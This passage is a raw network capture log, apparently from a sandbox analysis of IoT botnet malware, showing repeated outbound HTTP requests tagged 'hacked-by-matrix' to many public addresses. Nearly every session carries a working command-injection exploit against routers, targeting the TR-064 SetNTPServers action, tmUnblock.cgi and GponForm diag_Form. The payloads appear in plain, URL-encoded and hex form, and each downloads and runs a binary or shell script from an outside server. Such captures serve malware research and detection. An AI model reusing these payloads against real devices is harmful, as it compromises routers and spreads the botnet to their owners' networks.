xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.23	38642	115.2.105.105	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.687678099 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.23	44442	27.237.6.119	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.688785076 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.23	42576	124.218.108.88	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.695010900 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:10.991130114 CET	191	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html Content-Length: 89 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.23	48498	95.126.215.155	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.854038000 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:11.104809999 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.23	34622	98.44.4.110	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.864516973 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.23	42584	124.218.108.88	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.990385056 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:11.299091101 CET	191	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html Content-Length: 89 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.23	58588	185.110.134.19	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:11.079849005 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:11.738509893 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:13.054297924 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:13.261210918 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.23	59930	175.231.176.39	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:11.182189941 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:11.493738890 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.23	51522	174.26.143.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:11.310472012 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:15.322634935 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:21.465157032 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.23	53826	72.160.101.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:11.565097094 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:14.787111044 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.23	56322	155.138.243.201	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:11.999761105 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:12.666426897 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.23	39616	2.102.142.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.139997959 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.23	60154	94.19.151.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.139997959 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.23	36970	118.181.181.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:13.140022993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.23	48758	118.242.15.15	443

Timestamp	Bytes transferred	Direction	Data
